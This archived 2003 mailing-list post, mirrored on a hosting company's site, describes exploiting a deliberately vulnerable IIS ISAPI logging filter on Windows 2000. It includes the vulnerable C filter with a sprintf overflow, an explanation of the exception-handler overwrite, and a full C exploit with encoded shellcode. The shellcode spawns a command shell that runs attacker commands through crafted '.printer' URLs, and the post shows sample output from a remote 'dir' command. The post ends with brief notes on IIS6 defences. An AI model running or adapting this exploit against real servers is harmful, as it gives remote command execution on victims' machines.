Pantek Library
Hosting Provided By
CybrHost
High Speed Hosting

An exercise to exploit IIS ISAPI filter

From: <master_moda(at)yahoo.com>
Date: Tue Jan 14 2003 - 23:39:14 EST
('binary' encoding is not supported, stored as-is)

An exercise to exploit Internet Information Server on W2000

        --This paper intended for educational purpose only.

+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

Long time back when Codered and Nimda spread across the internet, my computers were hardhit by them. After lots of effort of cleaning the virus, I began curious how they manage to reproduce around the Internet and pass into corperate firewall. Thus I disassembled codered (following the description from eeye) and another well known for-fun virus named jill, ......

And finally as an exercise, I developed a vulnerable ISAPI filter (see below) and sucessfully exploited it. The filter is used by IIS on Window 2000 server. Here is the steps I like to share with other system administrators like me who want to know how the virus works:

1.
First comes the vulerable code:

<========================Logger.cpp===========================>

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>

#include <httpfilt.h>
#include <EXCPT.H>
#include <WTYPES.H>

BOOL APIENTRY DllMain( HANDLE hModule,

                       DWORD  ul_reason_for_call, 
                       LPVOID lpReserved
					 )

{

    return TRUE;
}

BOOL WINAPI __stdcall
GetFilterVersion(HTTP_FILTER_VERSION * pVer) {

Do you need help?X

        //set the flags and request the notications that we need for this to work

     pVer->dwFlags = (SF_NOTIFY_SECURE_PORT |                                                    

SF_NOTIFY_NONSECURE_PORT |
                                                   SF_NOTIFY_ORDER_LOW |                                                     //SF_NOTIFY_SEND_RESPONSE |                                         

	   //SF_NOTIFY_END_OF_NET_SESSION |
						   SF_NOTIFY_LOG 
						   );

    pVer->dwFilterVersion = HTTP_FILTER_REVISION;     strcpy( pVer->lpszFilterDesc, "Server Type Changer");     return TRUE;
}

DWORD WINAPI __stdcall
HttpFilterProc(HTTP_FILTER_CONTEXT * pfc, DWORD notificationType,

                  VOID * pvNotification)
{
	PHTTP_FILTER_LOG pLogData;
	OutputDebugString("Entered HttpFilterProc\n");     

	switch (notificationType)
	{
		 case SF_NOTIFY_LOG:
			{				
			 OutputDebugString("HttpFilterProc:Logging\n"); 
	
			 
			 TCHAR sz[256];

 			 pLogData = (PHTTP_FILTER_LOG)pvNotification;
 			 sprintf(sz, "Client Machine: %s , Username: %s, 
Server\ 
				Machine: %s, Target Path: %s\n", \
			 pLogData->pszClientHostName,pLogData-
>pszClientUserName,\ 
				pLogData->pszServerName, pLogData-

>pszTarget );                                 
			}
		 break;
		 default:
			 OutputDebugString
("HttpFilterProc:Default\n");     
		 break;

	 }


     return SF_STATUS_REQ_NEXT_NOTIFICATION;
}         
<=============================================================>

The function of this filter is merely to log the HTTP request from client. As you can see, the function sprintf has a buffer overflow bug and this is the weak point to insert our exploitation code.

2.
compile Logger.cpp into Logger.dll and configure your IIS to import this dll----You can do this by rightclicking the victim web server from IIS Service Manager,choose properties, then ISAPI Filter and from here you can define the Logger.dll as ISAPI filter.

3.
Now comes the exploit description:

Do you need more help?X

When a malicious client send the exploit code to the vulerable IIS, exploit code will reach the IIS memory space because ISAPI filter was loaded into the same memory space as its host--IIS.

As the exploit code overflow the buffer, the return address of normal function call got messed up inside IIS filter. And not only that, We will let the exploit code continue overflowing the memory as far as the excepion handler----the handler is replaced by an address(0x77ed5c99) inside kernel.dll, This address contain instruction "call ebx" in my W2000 configuration.

An Access violation exception happen when IIS filter handling the malicious HTTP request and as a result, system will resort the exception handler to clean the mess. But remember that the exception handler itself got overwritten also, it is now point to "call ebx", so the IIS instruction flow into whatever location the register ebx point to.

You may figure out that register ebx contain an address not far away from our exploit code when exception is raised. Thus when system invoke exception handler to clean the mess, the instruction flow divert into our exploit code.

The exploit code will then do the following, in a roughly order:

--	spawn a cmd shell with read/write pipe handler
--	modify another dll----msw3prt.dll inside IIS memory in such way 
that any invocation to this dll got divert into our exploit code. Also note that the invocation URL to msw3prt will has exploit command embedded inside, for example:

        http://victim/null.printer?net[user.
Using "[" instead of " " is to avoid " " being interpreted as %20. -- Exploit code accept the URL and read the exploit command. After replace "[" with " ", it then send this to the cmd shell through the shell pipe.
-- Read the execution result from cmd shell and pass back to HTTP client through writeClient function available from Extension Control block. The Extension Control Block is a block of infomation for ISAPI.

5.
Here is the exploit code from linux

========================moda.c============================================

#define SIZE 4106
#define ADJUST 1250

Can we help you?X

#include <sys/types.h>
#include <sys/time.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <errno.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <fcntl.h>
#include <netdb.h>

int main(int argc, char *argv[]){

unsigned char httpheader1[20]= // GET /HERO.htm"

"\x47\x45\x54\x20"
"\x2f\x48\x45\x52"
"\x4f\x2e\x68\x74"
"\x6d\x00";

unsigned char httpheader2[256]=

"\xeb\x06\x90\x90"
"\x99\x5c\xed\x77"
"\x81\xc3\xde\xfc"
"\xff\xff\xff\xd3"
"\x20\x20\x48\x54"
"\x54\x50\x2f\x31"
"\x2e\x30\x0D\x0A"
"\x43\x6F\x6E\x74"
"\x65\x6E\x74\x2D"
"\x74\x79\x70\x65"
"\x3a\x20\x74\x65"
"\x78\x74\x2f\x78"
"\x6d\x6c\x20\x41"
"\x63\x63\x65\x70"
"\x74\x3a\x20\x2a"
"\x2f\x2a\x0a\x43"
"\x6f\x6e\x74\x65"
"\x6e\x74\x2d\x6c"
"\x65\x6e\x67\x74"
"\x68\x3a\x20\x32"
"\x37\x30\x34\x20"
"\x0d\x0a\x0d\x0a"
Can't find what you're looking for?X
"\x00";

char payload[]=
"\x83\xEB\xF1\x33\xC9\x66\xB9\x13\x03\x80\x33\x96\x43\xE2\xFA" /* Payload encoded with x96*/

"\x7f"                                                             
"\x13\x97\x96\x96\xcc\x2e\x96\x96\x67\xe1\x17\xae\xdb\xcc\x06\x96" 
"\xe2\x95\xde\x7d\x63\x1d\x4e\x1d\xe5\xaa\x95\x65\x1d\xe0\xee\x95" 
"\x65\x1d\xe8\xb6\x95\x6d\x1d\xd8\x82\xa5\x7b\xc0\xc1\xc7\x1d\xa9" 
"\x95\x6d\x1d\x64\x2f\x98\x96\x96\x96\x65\x30\xe2\x9e\xcf\xc9\x15" 
"\x51\x92\xd3\x74\x71\xcf\xc9\xc8\x1d\x5b\x1d\xd0\xb2\x95\x55\x47" 
"\x77\x95\x57\xa5\x5f\xf0\x1d\x9e\x1d\xd0\x8a\x95\x55\x57\x77\x94" 
"\x95\x57\x1d\x96\x95\x55\x1d\x64\x1d\x68\x1d\x46\x2f\x9a\x96\x96" 
"\x96\x7e\x96\x97\x96\x96\xa5\x56\x3a\x13\x56\xe3\x6f\xc4\xc0\x69" 
"\xc1\x46\xcc\x1d\x4e\x2f\x97\x96\x96\x96\x7e\x71\x96\x96\x96\xfe" 
"\x96\x93\x96\x96\xfc\xd6\x69\xc1\x76\x1f\xd1\x9e\x51\xd1\x8a\x9a" 
"\x96\x96\x96\x51\xd1\xb6\x96\x96\x96\x96\x51\xd1\xb2\x97\x96\x96" 
"\x96\xfc\x96\x1b\xd1\x8a\xc6\x1b\xd1\x9a\xc6\x1b\xd1\x86\xc6\x69" 
"\xc1\x46\xfc\x96\x1b\xd1\x8a\xc6\x1b\xd1\x82\xc6\x1b\xd1\x8e\xc6" 
"\x69\xc1\x46\x1b\xd1\xbe\xc6\x69\xc1\x42\x1d\xd1\x9a\x1f\xd1\xf2" 
"\x1f\xd1\xfe\x1d\xd1\x8e\x1f\xd1\xf6\x17\xd9\xc2\x97\x97\x96\x96" 
"\xf0\x51\xd1\xce\x96\x96\x1b\xd1\xfa\xc6\x1b\xd1\xbe\xc6\xa5\x56" 
"\xc6\xc6\xc6\xfc\x97\xc6\xc6\x1d\x79\x17\x53\x3e\x96\x96\x96\xc3" 
"\xc6\x69\xc1\x4e\x69\xe1\x9a\x69\xc1\x6e\x69\xe1\x8e\x69\xc1\x6e" 
"\x1b\xd1\x92\xc6\xfc\x92\xfe\x96\x97\x96\x96\x1d\xc1\x6a\xc4\x69" 
"\xc1\x7a\xc0\xc5\x1d\x49\x1b\x21\x26\x96\x96\x96\x15\x50\x9f\x1b" 
"\x11\x56\x96\x96\x96\x1f\x90\x15\x50\x61\x1d\xed\x6a\x2f\x99\x96" 
"\x96\x96\x65\x32\x1d\x6d\xcd\xc8\x1b\xd1\x92\xc6\x1d\xd1\x92\xc6" 
"\xfe\x96\x97\x96\x96\x1d\xc1\x6a\xc4\x69\xc1\x7a\xfe\x96\x4b\xfb" 
"\x96\x69\xc1\x66\x7d\x60\xa5\x56\x3a\x13\x56\xe3\x6f\xc7\xc4\xc0" 
"\xc5\x69\x44\xcc\xcf\x3d\x74\x78\x55\x7e\xe0\x68\x69\x69\xd1\xf3" 
"\xe2\xc6\xe4\xf9\xf5\xd7\xf2\xf2\xe4\xf3\xe5\xe5\x96\xda\xf9\xf7" 
Don't know where to look next?X
"\xf2\xda\xff\xf4\xe4\xf7\xe4\xef\xd7\x96\xd5\xe4\xf3\xf7\xe2\xf3" "\xc6\xff\xe6\xf3\x96\xd1\xf3\xe2\xc5\xe2\xf7\xe4\xe2\xe3\xe6\xdf" "\xf8\xf0\xf9\xd7\x96\xd5\xe4\xf3\xf7\xe2\xf3\xc6\xe4\xf9\xf5\xf3" "\xe5\xe5\xd7\x96\xc6\xf3\xf3\xfd\xd8\xf7\xfb\xf3\xf2\xc6\xff\xe6" "\xf3\x96\xd1\xfa\xf9\xf4\xf7\xfa\xd7\xfa\xfa\xf9\xf5\x96\xc1\xe4" "\xff\xe2\xf3\xd0\xff\xfa\xf3\x96\xc4\xf3\xf7\xf2\xd0\xff\xfa\xf3" "\x96\xc0\xff\xe4\xe2\xe3\xf7\xfa\xc6\xe4\xf9\xe2\xf3\xf5\xe2\x96" "\xc5\xfa\xf3\xf3\xe6\x96\xd3\xee\xff\xe2\xc6\xe4\xf9\xf5\xf3\xe5" "\xe5\x96\xd5\xfa\xf9\xe5\xf3\xde\xf7\xf8\xf2\xfa\xf3\x96\xdb\xc5" "\xc1\xa5\xc6\xc4\xc2\x96\xde\xe2\xe2\xe6\xd3\xee\xe2\xf3\xf8\xe5" "\xff\xf9\xf8\xc6\xe4\xf9\xf5\x96\x06\x06\x06\x06\x06\x06\x06\x06" "\x06\x06\x06\x06\x06\x06\x06\x06\x06\x06\x06\x06\x06\x06\x06\x06" "\x06\x06\x06\x06\x06\x06\x06\x06\x96\x96\xf5\xfb\xf2\xb8\xf3\xee" "\xf3\x96\x06\x06\x06\x06\x06\x06\x06\x06\x2e\x96\x96\x67\xe1\x69" "\x46\x96\x06\x06\x06\x15\x52\x92\xf6\x7e\x96\x96\x96\x96\xc9\x17" "\x79\x5a\x96\x96\x96\x1d\xcb\x86\xfc\x96\xc1\xa5\x56\xa5\x44\x1d" "\xe5\xf2\x3a\xd4\x15\x6e\xcd\xe3\x92\x50\xd0\x69\xb6\x13\x56\xe3" "\x67\x50\xd0\x69\x9b\x50\x90\x9c\x50\xd0\x97\x96\xd4\xc4\x69\xe5" "\xf2\x69\xe1\x82\x69\xc1\x72\xfc\xf2\x69\xc1\x66\xa5\x5f\xc7\xc1" "\xc7\xc7\xc7\x69\xe1\x86\x69\xc1\x4a\x13\x56\xe2\xa6\x16\xa9\x96" "\xe2\xb1\xfc\x96\xc1\xfe\x96\x93\x96\x96\x69\xe1\x9e\x69\xe1\x86" "\x69\xc1\x7e\x13\x56\xe2\x80\xfc\x96\xc1\x69\xe1\x9e\x1d\xdd\x9e" "\xc7\x69\x05\x12\x96\x96\x96\x7d\x28\xf7\x54\x92\x96\xfc\x97\x69" "\xc1\x62";

unsigned char *ptr;
unsigned char sploit[SIZE];

int s;
unsigned short int a_port;
unsigned long a_host;
struct hostent *ht;
struct sockaddr_in sin;

if (argc != 3){

	printf("usage: %s   \n",argv[0]);
	exit(1);

}
Confused? Frustrated?X

if ((ht = gethostbyname(argv[1])) == 0){

	herror(argv[1]);
	exit(1);

}
sin.sin_port = htons(atoi(argv[2]));
Call Pantek today for Open Source Technical Support at 1-877-546-8934 - 24/7/365X
sin.sin_family = AF_INET; sin.sin_addr = *((struct in_addr *)ht->h_addr);

ptr=sploit;
memcpy(ptr, httpheader1, strlen(httpheader1) ); ptr+=strlen(httpheader1);
memset(ptr,'\x90', SIZE - strlen(httpheader1) - strlen(httpheader2) -strlen (payload)
 -ADJUST);
ptr+=SIZE - strlen(httpheader1) -strlen(httpheader2) - strlen(payload) - ADJUST;
memcpy(ptr, payload, strlen(payload) );
ptr+= strlen(payload);
memcpy(ptr, httpheader2, strlen(httpheader2));

if ((s = socket(AF_INET, SOCK_STREAM, 0)) == -1){

	perror("socket");
	exit(1);

}

printf("\nconnecting... \n");

if ((connect(s, (struct sockaddr *) &sin, sizeof(sin))) == -1){

	perror("connect");
	exit(1);

}

write(s, sploit, SIZE-ADJUST);
sleep (5);
close (s);

printf("sent... \n");
exit(0);
}


6.
Now here is the demo of how the exploit code work through a web browser such as MS internet explorer:

Do you need help?X

>From explorer address send the URL
http://victim/null.printer?dir

after a while, the browser got response:

D:\WINNT\system32>dir
 Volume in drive D has no label.
 Volume Serial Number is 7086-EBAD

 Directory of D:\WINNT\system32

07/11/2002  10:46p                .
07/11/2002  10:46p                ..
10/29/2001  03:29p                 647 $winnt$.inf
10/29/2001  03:35p               4,108 $WINNT$.PNF
06/26/2000  09:15a               2,151 12520437.cpx
06/26/2000  09:15a               2,233 12520850.cpx
12/07/1999  05:00a              32,016 aaaamon.dll
12/07/1999  05:00a              67,344 access.cpl
12/07/1999  05:00a              13,753 accserv.mib
12/07/1999  05:00a              59,904 acctres.dll
12/07/1999  05:00a             150,800 accwiz.exe
12/07/1999  05:00a              61,952 acelpdec.ax
12/07/1999  05:00a             131,856 acledit.dll
12/07/1999  05:00a              78,096 aclui.dll
12/07/1999  05:00a              33,298 acs.mib
12/07/1999  05:00a               4,368 acsetupc.dll
12/07/1999  05:00a              17,168 acsetups.exe
12/07/1999  05:00a              11,536 acsmib.dll
.........
12/07/1999  05:00a              73,776 wshom.ocx
12/07/1999  05:00a              17,680 wshtcpip.dll
12/07/1999  05:00a              39,696 wsnmp32.dll
12/07/1999  05:00a              21,776 wsock32.dll
12/07/1999  05:00a              14,608 wtsapi32.dll
12/07/1999  05:00a              25,872 wupdinfo.dll
12/07/1999  05:00a              47,376 wupdmgr.exe
12/07/1999  05:00a              92,432 xactsrv.dll
12/07/1999  05:00a              28,432 xcopy.exe
12/07/1999  05:00a             110,664 xenroll.dll
12/07/1999  05:00a             641,808 xiffr3_0.dll
12/07/1999  05:00a              17,680 xolehlp.dll
            2017 File(s)    291,632,897 bytes
              33 Dir(s)     531,480,576 bytes free

D:\WINNT\system32>

P.S.
The New IIS6.0, part of Microsoft .NET server has hugh improvement against virus/worm, at least that's the feeling I got when reading MSDN papers: 1. The IIS LockDown has removed lots of unused dynamic script type, including .printer which the above exploit code has abuse. It also disable unnecessary service.

2.	The IIS URLScan is a ISAPI filter that try to catch malicious URL: 
Do you need more help?X
A extreme long URL like the one in our exploit may have malicious code embeded inside, so web master can preset the maximum size of URL allowed. A URL with non-ascii byte inside is also dangerous, URLScan is
also able to catch that. Received on Fri Jan 17 15:43:03 2003

This archive was generated by hypermail 2.1.8 : Wed Aug 23 2006 - 14:07:37 EDT


Contact Us  Legal Notices  Order Services Online 
Pantek Home  Privacy Policy  IT news  Site Map  Pantek Library